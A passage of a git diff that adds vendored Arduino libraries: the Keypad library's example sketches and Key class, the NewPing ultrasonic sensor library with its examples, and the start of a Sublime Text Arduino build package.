digitalWrite(ledPin, HIGH); // Turn the LED on. + ledPin_state = digitalRead(ledPin); // Store initial LED state. HIGH when LED is on. + keypad.addEventListener(keypadEvent); // Add an event listener for this keypad +} + +void loop(){ + char key = keypad.getKey(); + + if (key) { + Serial.println(key); + } + if (blink){ + digitalWrite(ledPin,!digitalRead(ledPin)); // Change the ledPin from Hi2Lo or Lo2Hi. + delay(100); + } +} + +// Taking care of some special events. +void keypadEvent(KeypadEvent key){ + switch (keypad.getState()){ + case PRESSED: + if (key == '#') { + digitalWrite(ledPin,!digitalRead(ledPin)); + ledPin_state = digitalRead(ledPin); // Remember LED state, lit or unlit. + } + break; + + case RELEASED: + if (key == '*') { + digitalWrite(ledPin,ledPin_state); // Restore LED state from before it started blinking. + blink = false; + } + break; + + case HOLD: + if (key == '*') { + blink = true; // Blink the LED when holding the * key. + } + break; + } +} diff --git a/Projects/libraries/Installed_libs/Keypad/examples/HelloKeypad/HelloKeypad.ino b/Projects/libraries/Installed_libs/Keypad/examples/HelloKeypad/HelloKeypad.ino new file mode 100755 index 0000000..6138bff --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/examples/HelloKeypad/HelloKeypad.ino @@ -0,0 +1,35 @@ +/* @file HelloKeypad.pde +|| @version 1.0 +|| @author Alexander Brevig +|| @contact alexanderbrevig@gmail.com +|| +|| @description +|| | Demonstrates the simplest use of the matrix Keypad library. +|| # +*/ +#include + +const byte ROWS = 4; //four rows +const byte COLS = 3; //three columns +char keys[ROWS][COLS] = { + {'1','2','3'}, + {'4','5','6'}, + {'7','8','9'}, + {'*','0','#'} +}; +byte rowPins[ROWS] = {5, 4, 3, 2}; //connect to the row pinouts of the keypad +byte colPins[COLS] = {8, 7, 6}; //connect to the column pinouts of the keypad + +Keypad keypad = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS ); + +void setup(){ + Serial.begin(9600); +} + +void loop(){ + char key = keypad.getKey(); + + if (key){ + Serial.println(key); + } +} diff --git a/Projects/libraries/Installed_libs/Keypad/examples/HelloKeypad3/HelloKeypad3.ino b/Projects/libraries/Installed_libs/Keypad/examples/HelloKeypad3/HelloKeypad3.ino new file mode 100755 index 0000000..5605b72 --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/examples/HelloKeypad3/HelloKeypad3.ino @@ -0,0 +1,68 @@ +#include + + +const byte ROWS = 2; // use 4X4 keypad for both instances +const byte COLS = 2; +char keys[ROWS][COLS] = { + {'1','2'}, + {'3','4'} +}; +byte rowPins[ROWS] = {5, 4}; //connect to the row pinouts of the keypad +byte colPins[COLS] = {7, 6}; //connect to the column pinouts of the keypad +Keypad kpd( makeKeymap(keys), rowPins, colPins, ROWS, COLS ); + + +const byte ROWSR = 2; +const byte COLSR = 2; +char keysR[ROWSR][COLSR] = { + {'a','b'}, + {'c','d'} +}; +byte rowPinsR[ROWSR] = {3, 2}; //connect to the row pinouts of the keypad +byte colPinsR[COLSR] = {7, 6}; //connect to the column pinouts of the keypad +Keypad kpdR( makeKeymap(keysR), rowPinsR, colPinsR, ROWSR, COLSR ); + + +const byte ROWSUR = 4; +const byte COLSUR = 1; +char keysUR[ROWSUR][COLSUR] = { + {'M'}, + {'A'}, + {'R'}, + {'K'} +}; +// Digitran keypad, bit numbers of PCF8574 i/o port +byte rowPinsUR[ROWSUR] = {5, 4, 3, 2}; //connect to the row pinouts of the keypad +byte colPinsUR[COLSUR] = {8}; //connect to the column pinouts of the keypad + +Keypad kpdUR( makeKeymap(keysUR), rowPinsUR, colPinsUR, ROWSUR, COLSUR ); + + +void setup(){ +// Wire.begin( ); + kpdUR.begin( makeKeymap(keysUR) ); + kpdR.begin( makeKeymap(keysR) ); + kpd.begin( makeKeymap(keys) ); + Serial.begin(9600); + Serial.println( "start" ); +} + +//byte alternate = false; +char key, keyR, keyUR; +void loop(){ + +// alternate = !alternate; + key = kpd.getKey( ); + keyUR = kpdUR.getKey( ); + keyR = kpdR.getKey( ); + + if (key){ + Serial.println(key); + } + if( keyR ) { + Serial.println( keyR ); + } + if( keyUR ) { + Serial.println( keyUR ); + } +} diff --git a/Projects/libraries/Installed_libs/Keypad/examples/MultiKey/MultiKey.ino b/Projects/libraries/Installed_libs/Keypad/examples/MultiKey/MultiKey.ino new file mode 100755 index 0000000..850dc1a --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/examples/MultiKey/MultiKey.ino @@ -0,0 +1,78 @@ +/* @file MultiKey.ino +|| @version 1.0 +|| @author Mark Stanley +|| @contact mstanley@technologist.com +|| +|| @description +|| | The latest version, 3.0, of the keypad library supports up to 10 +|| | active keys all being pressed at the same time. This sketch is an +|| | example of how you can get multiple key presses from a keypad or +|| | keyboard. +|| # +*/ + +#include + +const byte ROWS = 4; //four rows +const byte COLS = 3; //three columns +char keys[ROWS][COLS] = { +{'1','2','3'}, +{'4','5','6'}, +{'7','8','9'}, +{'*','0','#'} +}; +byte rowPins[ROWS] = {5, 4, 3, 2}; //connect to the row pinouts of the kpd +byte colPins[COLS] = {8, 7, 6}; //connect to the column pinouts of the kpd + +Keypad kpd = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS ); + +unsigned long loopCount; +unsigned long startTime; +String msg; + + +void setup() { + Serial.begin(9600); + loopCount = 0; + startTime = millis(); + msg = ""; +} + + +void loop() { + loopCount++; + if ( (millis()-startTime)>5000 ) { + Serial.print("Average loops per second = "); + Serial.println(loopCount/5); + startTime = millis(); + loopCount = 0; + } + + // Fills kpd.key[ ] array with up-to 10 active keys. + // Returns true if there are ANY active keys. + if (kpd.getKeys()) + { + for (int i=0; i + + +const byte ROWS = 4; //four rows +const byte COLS = 3; //three columns +char keys[ROWS][COLS] = { + {'1','2','3'}, + {'4','5','6'}, + {'7','8','9'}, + {'*','0','#'} +}; +byte rowPins[ROWS] = {5, 4, 3, 2}; //connect to the row pinouts of the keypad +byte colPins[COLS] = {8, 7, 6}; //connect to the column pinouts of the keypad + +Keypad kpd = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS ); + +unsigned long loopCount = 0; +unsigned long timer_t = 0; + +void setup(){ + Serial.begin(9600); + + // Try playing with different debounceTime settings to see how it affects + // the number of times per second your loop will run. The library prevents + // setting it to anything below 1 millisecond. + kpd.setDebounceTime(10); // setDebounceTime(mS) +} + +void loop(){ + char key = kpd.getKey(); + + // Report the number of times through the loop in 1 second. This will give + // you a relative idea of just how much the debounceTime has changed the + // speed of your code. If you set a high debounceTime your loopCount will + // look good but your keypresses will start to feel sluggish. + if ((millis() - timer_t) > 1000) { + Serial.print("Your loop code ran "); + Serial.print(loopCount); + Serial.println(" times over the last second"); + loopCount = 0; + timer_t = millis(); + } + loopCount++; + if(key) + Serial.println(key); +} diff --git a/Projects/libraries/Installed_libs/Keypad/keywords.txt b/Projects/libraries/Installed_libs/Keypad/keywords.txt new file mode 100755 index 0000000..e400940 --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/keywords.txt @@ -0,0 +1,38 @@ +# Keypad Library data types +KeyState KEYWORD1 +Keypad KEYWORD1 +KeypadEvent KEYWORD1 + +# Keypad Library constants +NO_KEY LITERAL1 +IDLE LITERAL1 +PRESSED LITERAL1 +HOLD LITERAL1 +RELEASED LITERAL1 + +# Keypad Library methods & functions +addEventListener KEYWORD2 +bitMap KEYWORD2 +findKeyInList KEYWORD2 +getKey KEYWORD2 +getKeys KEYWORD2 +getState KEYWORD2 +holdTimer KEYWORD2 +isPressed KEYWORD2 +keyStateChanged KEYWORD2 +numKeys KEYWORD2 +pin_mode KEYWORD2 +pin_write KEYWORD2 +pin_read KEYWORD2 +setDebounceTime KEYWORD2 +setHoldTime KEYWORD2 +waitForKey KEYWORD2 + +# this is a macro that converts 2d arrays to pointers +makeKeymap KEYWORD2 + +# List of objects created in the example sketches. +kpd KEYWORD3 +keypad KEYWORD3 +kbrd KEYWORD3 +keyboard KEYWORD3 diff --git a/Projects/libraries/Installed_libs/Keypad/utility/Key.cpp b/Projects/libraries/Installed_libs/Keypad/utility/Key.cpp new file mode 100755 index 0000000..4c9718d --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/utility/Key.cpp @@ -0,0 +1,61 @@ +/* +|| @file Key.cpp +|| @version 1.0 +|| @author Mark Stanley +|| @contact mstanley@technologist.com +|| +|| @description +|| | Key class provides an abstract definition of a key or button +|| | and was initially designed to be used in conjunction with a +|| | state-machine. +|| # +|| +|| @license +|| | This library is free software; you can redistribute it and/or +|| | modify it under the terms of the GNU Lesser General Public +|| | License as published by the Free Software Foundation; version +|| | 2.1 of the License. +|| | +|| | This library is distributed in the hope that it will be useful, +|| | but WITHOUT ANY WARRANTY; without even the implied warranty of +|| | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +|| | Lesser General Public License for more details. +|| | +|| | You should have received a copy of the GNU Lesser General Public +|| | License along with this library; if not, write to the Free Software +|| | Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +|| # +|| +*/ +#include + + +// default constructor +Key::Key() { + kchar = NO_KEY; + kstate = IDLE; + stateChanged = false; +} + +// constructor +Key::Key(char userKeyChar) { + kchar = userKeyChar; + kcode = -1; + kstate = IDLE; + stateChanged = false; +} + + +void Key::key_update (char userKeyChar, KeyState userState, boolean userStatus) { + kchar = userKeyChar; + kstate = userState; + stateChanged = userStatus; +} + + + +/* +|| @changelog +|| | 1.0 2012-06-04 - Mark Stanley : Initial Release +|| # +*/ diff --git a/Projects/libraries/Installed_libs/Keypad/utility/Key.h b/Projects/libraries/Installed_libs/Keypad/utility/Key.h new file mode 100755 index 0000000..140f8da --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/utility/Key.h @@ -0,0 +1,73 @@ +/* +|| +|| @file Key.h +|| @version 1.0 +|| @author Mark Stanley +|| @contact mstanley@technologist.com +|| +|| @description +|| | Key class provides an abstract definition of a key or button +|| | and was initially designed to be used in conjunction with a +|| | state-machine. +|| # +|| +|| @license +|| | This library is free software; you can redistribute it and/or +|| | modify it under the terms of the GNU Lesser General Public +|| | License as published by the Free Software Foundation; version +|| | 2.1 of the License. +|| | +|| | This library is distributed in the hope that it will be useful, +|| | but WITHOUT ANY WARRANTY; without even the implied warranty of +|| | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +|| | Lesser General Public License for more details. +|| | +|| | You should have received a copy of the GNU Lesser General Public +|| | License along with this library; if not, write to the Free Software +|| | Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +|| # +|| +*/ + +#ifndef KEY_H +#define KEY_H + +// Arduino versioning. +#if defined(ARDUINO) && ARDUINO >= 100 +#include "Arduino.h" // for digitalRead, digitalWrite, etc +#else +#include "WProgram.h" +#endif + +#define OPEN LOW +#define CLOSED HIGH + +typedef unsigned int uint; +typedef enum{ IDLE, PRESSED, HOLD, RELEASED } KeyState; + +const char NO_KEY = '\0'; + +class Key { +public: + // members + char kchar; + int kcode; + KeyState kstate; + boolean stateChanged; + + // methods + Key(); + Key(char userKeyChar); + void key_update(char userKeyChar, KeyState userState, boolean userStatus); + +private: + +}; + +#endif + +/* +|| @changelog +|| | 1.0 2012-06-04 - Mark Stanley : Initial Release +|| # +*/ diff --git a/Projects/libraries/Installed_libs/NewPing/NewPing.cpp b/Projects/libraries/Installed_libs/NewPing/NewPing.cpp new file mode 100755 index 0000000..edf0135 --- /dev/null +++ b/Projects/libraries/Installed_libs/NewPing/NewPing.cpp @@ -0,0 +1,231 @@ +// --------------------------------------------------------------------------- +// Created by Tim Eckel - teckel@leethost.com +// Copyright 2012 License: GNU GPL v3 http://www.gnu.org/licenses/gpl-3.0.html +// +// See "NewPing.h" for purpose, syntax, version history, links, and more. +// --------------------------------------------------------------------------- + +#include "NewPing.h" + + +// --------------------------------------------------------------------------- +// NewPing constructor +// --------------------------------------------------------------------------- + +NewPing::NewPing(uint8_t trigger_pin, uint8_t echo_pin, int max_cm_distance) { + _triggerBit = digitalPinToBitMask(trigger_pin); // Get the port register bitmask for the trigger pin. + _echoBit = digitalPinToBitMask(echo_pin); // Get the port register bitmask for the echo pin. + + _triggerOutput = portOutputRegister(digitalPinToPort(trigger_pin)); // Get the output port register for the trigger pin. + _echoInput = portInputRegister(digitalPinToPort(echo_pin)); // Get the input port register for the echo pin. + + _triggerMode = (uint8_t *) portModeRegister(digitalPinToPort(trigger_pin)); // Get the port mode register for the trigger pin. + + _maxEchoTime = min(max_cm_distance, MAX_SENSOR_DISTANCE) * US_ROUNDTRIP_CM + (US_ROUNDTRIP_CM / 2); // Calculate the maximum distance in uS. + +#if DISABLE_ONE_PIN == true + *_triggerMode |= _triggerBit; // Set trigger pin to output. +#endif +} + + +// --------------------------------------------------------------------------- +// Standard ping methods +// --------------------------------------------------------------------------- + +unsigned int NewPing::ping() { + if (!ping_trigger()) return NO_ECHO; // Trigger a ping, if it returns false, return NO_ECHO to the calling function. + while (*_echoInput & _echoBit) // Wait for the ping echo. + if (micros() > _max_time) return NO_ECHO; // Stop the loop and return NO_ECHO (false) if we're beyond the set maximum distance. + return (micros() - (_max_time - _maxEchoTime) - 5); // Calculate ping time, 5uS of overhead. +} + + +unsigned int NewPing::ping_in() { + unsigned int echoTime = NewPing::ping(); // Calls the ping method and returns with the ping echo distance in uS. + return NewPingConvert(echoTime, US_ROUNDTRIP_IN); // Convert uS to inches. +} + + +unsigned int NewPing::ping_cm() { + unsigned int echoTime = NewPing::ping(); // Calls the ping method and returns with the ping echo distance in uS. + return NewPingConvert(echoTime, US_ROUNDTRIP_CM); // Convert uS to centimeters. +} + + +unsigned int NewPing::ping_median(uint8_t it) { + unsigned int uS[it], last; + uint8_t j, i = 0; + uS[0] = NO_ECHO; + while (i < it) { + last = ping(); // Send ping. + if (last == NO_ECHO) { // Ping out of range. + it--; // Skip, don't include as part of median. + last = _maxEchoTime; // Adjust "last" variable so delay is correct length. + } else { // Ping in range, include as part of median. + if (i > 0) { // Don't start sort till second ping. + for (j = i; j > 0 && uS[j - 1] < last; j--) // Insertion sort loop. + uS[j] = uS[j - 1]; // Shift ping array to correct position for sort insertion. + } else j = 0; // First ping is starting point for sort. + uS[j] = last; // Add last ping to array in sorted position. + i++; // Move to next ping. + } + if (i < it) delay(PING_MEDIAN_DELAY - (last >> 10)); // Millisecond delay between pings. + } + return (uS[it >> 1]); // Return the ping distance median. +} + + +// --------------------------------------------------------------------------- +// Standard ping method support functions (not called directly) +// --------------------------------------------------------------------------- + +boolean NewPing::ping_trigger() { +#if DISABLE_ONE_PIN != true + *_triggerMode |= _triggerBit; // Set trigger pin to output. +#endif + *_triggerOutput &= ~_triggerBit; // Set the trigger pin low, should already be low, but this will make sure it is. + delayMicroseconds(4); // Wait for pin to go low, testing shows it needs 4uS to work every time. + *_triggerOutput |= _triggerBit; // Set trigger pin high, this tells the sensor to send out a ping. + delayMicroseconds(10); // Wait long enough for the sensor to realize the trigger pin is high. Sensor specs say to wait 10uS. + *_triggerOutput &= ~_triggerBit; // Set trigger pin back to low. +#if DISABLE_ONE_PIN != true + *_triggerMode &= ~_triggerBit; // Set trigger pin to input (when using one Arduino pin this is technically setting the echo pin to input as both are tied to the same Arduino pin). +#endif + + _max_time = micros() + MAX_SENSOR_DELAY; // Set a timeout for the ping to trigger. + while (*_echoInput & _echoBit && micros() <= _max_time) {} // Wait for echo pin to clear. + while (!(*_echoInput & _echoBit)) // Wait for ping to start. + if (micros() > _max_time) return false; // Something went wrong, abort. + + _max_time = micros() + _maxEchoTime; // Ping started, set the timeout. + return true; // Ping started successfully. +} + + +// --------------------------------------------------------------------------- +// Timer interrupt ping methods (won't work with ATmega8 and ATmega128) +// --------------------------------------------------------------------------- + +void NewPing::ping_timer(void (*userFunc)(void)) { + if (!ping_trigger()) return; // Trigger a ping, if it returns false, return without starting the echo timer. + timer_us(ECHO_TIMER_FREQ, userFunc); // Set ping echo timer check every ECHO_TIMER_FREQ uS. +} + + +boolean NewPing::check_timer() { + if (micros() > _max_time) { // Outside the timeout limit. + timer_stop(); // Disable timer interrupt + return false; // Cancel ping timer. + } + + if (!(*_echoInput & _echoBit)) { // Ping echo received. + timer_stop(); // Disable timer interrupt + ping_result = (micros() - (_max_time - _maxEchoTime) - 13); // Calculate ping time, 13uS of overhead. + return true; // Return ping echo true. + } + + return false; // Return false because there's no ping echo yet. +} + + +// --------------------------------------------------------------------------- +// Timer2/Timer4 interrupt methods (can be used for non-ultrasonic needs) +// --------------------------------------------------------------------------- + +// Variables used for timer functions +void (*intFunc)(); +void (*intFunc2)(); +unsigned long _ms_cnt_reset; +volatile unsigned long _ms_cnt; + + +void NewPing::timer_us(unsigned int frequency, void (*userFunc)(void)) { + timer_setup(); // Configure the timer interrupt. + intFunc = userFunc; // User's function to call when there's a timer event. + +#if defined (__AVR_ATmega32U4__) // Use Timer4 for ATmega32U4 (Teensy/Leonardo). + OCR4C = min((frequency>>2) - 1, 255); // Every count is 4uS, so divide by 4 (bitwise shift right 2) subtract one, then make sure we don't go over 255 limit. + TIMSK4 = (1<>2) - 1, 255); // Every count is 4uS, so divide by 4 (bitwise shift right 2) subtract one, then make sure we don't go over 255 limit. + TIMSK2 |= (1<= 100 + #include +#else + #include + #include +#endif + +#include +#include + +// Shoudln't need to changed these values unless you have a specific need to do so. +#define MAX_SENSOR_DISTANCE 500 // Maximum sensor distance can be as high as 500cm, no reason to wait for ping longer than sound takes to travel this distance and back. +#define US_ROUNDTRIP_IN 146 // Microseconds (uS) it takes sound to travel round-trip 1 inch (2 inches total), uses integer to save compiled code space. +#define US_ROUNDTRIP_CM 57 // Microseconds (uS) it takes sound to travel round-trip 1cm (2cm total), uses integer to save compiled code space. +#define DISABLE_ONE_PIN false // Set to "true" to save up to 26 bytes of compiled code space if you're not using one pin sensor connections. + +// Probably shoudln't change these values unless you really know what you're doing. +#define NO_ECHO 0 // Value returned if there's no ping echo within the specified MAX_SENSOR_DISTANCE or max_cm_distance. +#define MAX_SENSOR_DELAY 18000 // Maximum uS it takes for sensor to start the ping (SRF06 is the highest measured, just under 18ms). +#define ECHO_TIMER_FREQ 24 // Frequency to check for a ping echo (every 24uS is about 0.4cm accuracy). +#define PING_MEDIAN_DELAY 29 // Millisecond delay between pings in the ping_median method. + +// Conversion from uS to distance (round result to nearest cm or inch). +#define NewPingConvert(echoTime, conversionFactor) (max((echoTime + conversionFactor / 2) / conversionFactor, (echoTime ? 1 : 0))) + + +class NewPing { + public: + NewPing(uint8_t trigger_pin, uint8_t echo_pin, int max_cm_distance = MAX_SENSOR_DISTANCE); + unsigned int ping(); + unsigned int ping_in(); + unsigned int ping_cm(); + unsigned int ping_median(uint8_t it = 5); + unsigned int convert_in(unsigned int echoTime); + unsigned int convert_cm(unsigned int echoTime); + void ping_timer(void (*userFunc)(void)); + boolean check_timer(); + unsigned long ping_result; + static void timer_us(unsigned int frequency, void (*userFunc)(void)); + static void timer_ms(unsigned long frequency, void (*userFunc)(void)); + static void timer_stop(); + private: + boolean ping_trigger(); + boolean ping_wait_timer(); + uint8_t _triggerBit; + uint8_t _echoBit; + volatile uint8_t *_triggerOutput; + volatile uint8_t *_triggerMode; + volatile uint8_t *_echoInput; + unsigned int _maxEchoTime; + unsigned long _max_time; + static void timer_setup(); + static void timer_ms_cntdwn(); +}; + + +#endif \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/NewPing/examples/NewPing15Sensors/NewPing15Sensors.pde b/Projects/libraries/Installed_libs/NewPing/examples/NewPing15Sensors/NewPing15Sensors.pde new file mode 100755 index 0000000..9af1f6c --- /dev/null +++ b/Projects/libraries/Installed_libs/NewPing/examples/NewPing15Sensors/NewPing15Sensors.pde @@ -0,0 +1,74 @@ +// --------------------------------------------------------------------------- +// This example code was used to successfully communicate with 15 ultrasonic sensors. You can adjust +// the number of sensors in your project by changing SONAR_NUM and the number of NewPing objects in the +// "sonar" array. You also need to change the pins for each sensor for the NewPing objects. Each sensor +// is pinged at 33ms intervals. So, one cycle of all sensors takes 495ms (33 * 15 = 495ms). The results +// are sent to the "oneSensorCycle" function which currently just displays the distance data. Your project +// would normally process the sensor results in this function (for example, decide if a robot needs to +// turn and call the turn function). Keep in mind this example is event-driven. Your complete sketch needs +// to be written so there's no "delay" commands and the loop() cycles at faster than a 33ms rate. If other +// processes take longer than 33ms, you'll need to increase PING_INTERVAL so it doesn't get behind. +// --------------------------------------------------------------------------- +#include + +#define SONAR_NUM 15 // Number or sensors. +#define MAX_DISTANCE 200 // Maximum distance (in cm) to ping. +#define PING_INTERVAL 33 // Milliseconds between sensor pings (29ms is about the min to avoid cross-sensor echo). + +unsigned long pingTimer[SONAR_NUM]; // Holds the times when the next ping should happen for each sensor. +unsigned int cm[SONAR_NUM]; // Where the ping distances are stored. +uint8_t currentSensor = 0; // Keeps track of which sensor is active. + +NewPing sonar[SONAR_NUM] = { // Sensor object array. + NewPing(41, 42, MAX_DISTANCE), // Each sensor's trigger pin, echo pin, and max distance to ping. + NewPing(43, 44, MAX_DISTANCE), + NewPing(45, 20, MAX_DISTANCE), + NewPing(21, 22, MAX_DISTANCE), + NewPing(23, 24, MAX_DISTANCE), + NewPing(25, 26, MAX_DISTANCE), + NewPing(27, 28, MAX_DISTANCE), + NewPing(29, 30, MAX_DISTANCE), + NewPing(31, 32, MAX_DISTANCE), + NewPing(34, 33, MAX_DISTANCE), + NewPing(35, 36, MAX_DISTANCE), + NewPing(37, 38, MAX_DISTANCE), + NewPing(39, 40, MAX_DISTANCE), + NewPing(50, 51, MAX_DISTANCE), + NewPing(52, 53, MAX_DISTANCE) +}; + +void setup() { + Serial.begin(115200); + pingTimer[0] = millis() + 75; // First ping starts at 75ms, gives time for the Arduino to chill before starting. + for (uint8_t i = 1; i < SONAR_NUM; i++) // Set the starting time for each sensor. + pingTimer[i] = pingTimer[i - 1] + PING_INTERVAL; +} + +void loop() { + for (uint8_t i = 0; i < SONAR_NUM; i++) { // Loop through all the sensors. + if (millis() >= pingTimer[i]) { // Is it this sensor's time to ping? + pingTimer[i] += PING_INTERVAL * SONAR_NUM; // Set next time this sensor will be pinged. + if (i == 0 && currentSensor == SONAR_NUM - 1) oneSensorCycle(); // Sensor ping cycle complete, do something with the results. + sonar[currentSensor].timer_stop(); // Make sure previous timer is canceled before starting a new ping (insurance). + currentSensor = i; // Sensor being accessed. + cm[currentSensor] = 0; // Make distance zero in case there's no ping echo for this sensor. + sonar[currentSensor].ping_timer(echoCheck); // Do the ping (processing continues, interrupt will call echoCheck to look for echo). + } + } + // The rest of your code would go here. +} + +void echoCheck() { // If ping received, set the sensor distance to array. + if (sonar[currentSensor].check_timer()) + cm[currentSensor] = sonar[currentSensor].ping_result / US_ROUNDTRIP_CM; +} + +void oneSensorCycle() { // Sensor ping cycle complete, do something with the results. + for (uint8_t i = 0; i < SONAR_NUM; i++) { + Serial.print(i); + Serial.print("="); + Serial.print(cm[i]); + Serial.print("cm "); + } + Serial.println(); +} \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/NewPing/examples/NewPingEventTimer/NewPingEventTimer.pde b/Projects/libraries/Installed_libs/NewPing/examples/NewPingEventTimer/NewPingEventTimer.pde new file mode 100755 index 0000000..a469c37 --- /dev/null +++ b/Projects/libraries/Installed_libs/NewPing/examples/NewPingEventTimer/NewPingEventTimer.pde @@ -0,0 +1,46 @@ +// --------------------------------------------------------------------------- +// This example shows how to use NewPing's ping_timer method which uses the Timer2 interrupt to get the +// ping time. The advantage of using this method over the standard ping method is that it permits a more +// event-driven sketch which allows you to appear to do two things at once. An example would be to ping +// an ultrasonic sensor for a possible collision while at the same time navigating. This allows a +// properly developed sketch to multitask. Be aware that because the ping_timer method uses Timer2, +// other features or libraries that also use Timer2 would be effected. For example, the PWM function on +// pins 3 & 11 on Arduino Uno (pins 9 and 11 on Arduino Mega) and the Tone library. Note, only the PWM +// functionality of the pins is lost (as they use Timer2 to do PWM), the pins are still available to use. +// NOTE: For Teensy/Leonardo (ATmega32U4) the library uses Timer4 instead of Timer2. +// --------------------------------------------------------------------------- +#include + +#define TRIGGER_PIN 12 // Arduino pin tied to trigger pin on ping sensor. +#define ECHO_PIN 11 // Arduino pin tied to echo pin on ping sensor. +#define MAX_DISTANCE 200 // Maximum distance we want to ping for (in centimeters). Maximum sensor distance is rated at 400-500cm. + +NewPing sonar(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE); // NewPing setup of pins and maximum distance. + +unsigned int pingSpeed = 50; // How frequently are we going to send out a ping (in milliseconds). 50ms would be 20 times a second. +unsigned long pingTimer; // Holds the next ping time. + +void setup() { + Serial.begin(115200); // Open serial monitor at 115200 baud to see ping results. + pingTimer = millis(); // Start now. +} + +void loop() { + // Notice how there's no delays in this sketch to allow you to do other processing in-line while doing distance pings. + if (millis() >= pingTimer) { // pingSpeed milliseconds since last ping, do another ping. + pingTimer += pingSpeed; // Set the next ping time. + sonar.ping_timer(echoCheck); // Send out the ping, calls "echoCheck" function every 24uS where you can check the ping status. + } + // Do other stuff here, really. Think of it as multi-tasking. +} + +void echoCheck() { // Timer2 interrupt calls this function every 24uS where you can check the ping status. + // Don't do anything here! + if (sonar.check_timer()) { // This is how you check to see if the ping was received. + // Here's where you can add code. + Serial.print("Ping: "); + Serial.print(sonar.ping_result / US_ROUNDTRIP_CM); // Ping returned, uS result in ping_result, convert to cm with US_ROUNDTRIP_CM. + Serial.println("cm"); + } + // Don't do anything here! +} \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/NewPing/examples/NewPingExample/NewPingExample.ino b/Projects/libraries/Installed_libs/NewPing/examples/NewPingExample/NewPingExample.ino new file mode 100755 index 0000000..42b2739 --- /dev/null +++ b/Projects/libraries/Installed_libs/NewPing/examples/NewPingExample/NewPingExample.ino @@ -0,0 +1,23 @@ +// --------------------------------------------------------------------------- +// Example NewPing library sketch that does a ping about 20 times per second. +// --------------------------------------------------------------------------- + +#include + +#define TRIGGER_PIN 12 // Arduino pin tied to trigger pin on the ultrasonic sensor. +#define ECHO_PIN 11 // Arduino pin tied to echo pin on the ultrasonic sensor. +#define MAX_DISTANCE 200 // Maximum distance we want to ping for (in centimeters). Maximum sensor distance is rated at 400-500cm. + +NewPing sonar(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE); // NewPing setup of pins and maximum distance. + +void setup() { + Serial.begin(115200); // Open serial monitor at 115200 baud to see ping results. +} + +void loop() { + delay(50); // Wait 50ms between pings (about 20 pings/sec). 29ms should be the shortest delay between pings. + unsigned int uS = sonar.ping(); // Send ping, get ping time in microseconds (uS). + Serial.print("Ping: "); + Serial.print(uS / US_ROUNDTRIP_CM); // Convert ping time to distance in cm and print result (0 = outside set distance range) + Serial.println("cm"); +} diff --git a/Projects/libraries/Installed_libs/NewPing/examples/TimerExample/TimerExample.pde b/Projects/libraries/Installed_libs/NewPing/examples/TimerExample/TimerExample.pde new file mode 100755 index 0000000..ea66039 --- /dev/null +++ b/Projects/libraries/Installed_libs/NewPing/examples/TimerExample/TimerExample.pde @@ -0,0 +1,25 @@ +// --------------------------------------------------------------------------- +// While the NewPing library's primary goal is to interface with ultrasonic sensors, interfacing with +// the Timer2 interrupt was a result of creating an interrupt-based ping method. Since these Timer2 +// interrupt methods were built, the library may as well provide the functionality to use these methods +// in your sketches. This shows how simple it is (no ultrasonic sensor required). Keep in mind that +// these methods use Timer2, as does NewPing's ping_timer method for using ultrasonic sensors. You +// can't use ping_timer at the same time you're using timer_ms or timer_us as all use the same timer. +// --------------------------------------------------------------------------- + +#include + +#define LED_PIN 13 // Pin with LED attached. + +void setup() { + pinMode(LED_PIN, OUTPUT); + NewPing::timer_ms(500, toggleLED); // Create a Timer2 interrupt that calls toggleLED in your sketch once every 500 milliseconds. +} + +void loop() { + // Do anything here, the Timer2 interrupt will take care of the flashing LED without your intervention. +} + +void toggleLED() { + digitalWrite(LED_PIN, !digitalRead(LED_PIN)); // Toggle the LED. +} \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/NewPing/keywords.txt b/Projects/libraries/Installed_libs/NewPing/keywords.txt new file mode 100755 index 0000000..9ef581a --- /dev/null +++ b/Projects/libraries/Installed_libs/NewPing/keywords.txt @@ -0,0 +1,29 @@ +################################### +# Syntax Coloring Map For NewPing +################################### + +################################### +# Datatypes (KEYWORD1) +################################### + +NewPing KEYWORD1 + +################################### +# Methods and Functions (KEYWORD2) +################################### + +ping KEYWORD2 +ping_in KEYWORD2 +ping_cm KEYWORD2 +ping_median KEYWORD2 +ping_timer KEYWORD2 +check_timer KEYWORD2 +timer_us KEYWORD2 +timer_ms KEYWORD2 +timer_stop KEYWORD2 +convert_in KEYWORD2 +convert_cm KEYWORD2 + +################################### +# Constants (LITERAL1) +################################### diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/.gitignore b/Projects/libraries/Installed_libs/ST2_Arduino/.gitignore new file mode 100755 index 0000000..739878c --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/.gitignore @@ -0,0 +1,5 @@ +*.pyc +*.cache +*.sublime-workspace +*.sublime-project +.build diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Clean.sublime-build b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Clean.sublime-build new file mode 100755 index 0000000..a94a1f8 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Clean.sublime-build @@ -0,0 +1,6 @@ +{ + "cmd": ["ino", "clean"], + "selector": "source.c++.arduino", + "working_dir": "$file_path/..", + "path": "/opt/local/bin:/opt/local/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/X11/bin" +} diff --git 